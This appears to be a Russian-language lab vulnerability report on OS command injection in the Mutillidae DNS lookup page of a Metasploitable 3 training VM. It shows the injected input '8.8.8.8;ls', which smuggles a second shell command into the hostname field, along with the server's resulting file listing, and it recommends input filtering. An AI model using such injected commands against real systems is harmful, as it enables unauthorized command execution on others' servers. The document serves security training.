

Описание уязвимости

На сайте <http://192.168.56.11/mutillidae/index.php?page=dns-lookup.php> отсутствует фильтрация вводимых пользователем данных. Это позволяет удалённо выполнять команды на сервере.

Где найдена уязвимость

Уязвимость расположена по адресу <http://192.168.56.11/mutillidae/index.php?page=dns-lookup.php>.

Наименование продукта: Metasploitable 3 Linux virtual machine.

Технические детали обнаружения и воспроизведения

Уязвимость можно обнаружить, если в поле, предназначенном для ввода DNS адреса, ввести адрес и после него, через точку с запятой “;” ввести любую команду терминала Linux (payload - полезную нагрузку). Например ls или pwd.

192.168.56.11/mutillidae/index.php?page=dns-lookup.php

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP

Results for 8.8.8.8;ls

```
Server:      10.0.2.3
Address:     10.0.2.3#53

Non-authoritative answer:
8.8.8.8.in-addr.arpa    name = dns.google.

Authoritative answers can be found from:

add-to-your-blog.php
ajax
arbitrary-file-inclusion.php
authorization-required.php
back-button-discussion.php
browser-info.php
cache-control.php
capture-data.php
captured-data.php
classes
client-side-comments.php
client-side-control-challenge.php
credits.php
data
database-offline.php
directory-browsing.php
dns-lookup.php
document-viewer.php
documentation
```

Выводы и рекомендации по устранению

Уязвимость позволяет получить доступ к конфиденциальной информации. Не требует дополнительных уязвимостей для эксплуатации. Рекомендации по устранению:

- Сделать фильтрацию вводимых пользователем данных на уровне разработки.

Используемое программное обеспечение

- Google Chrome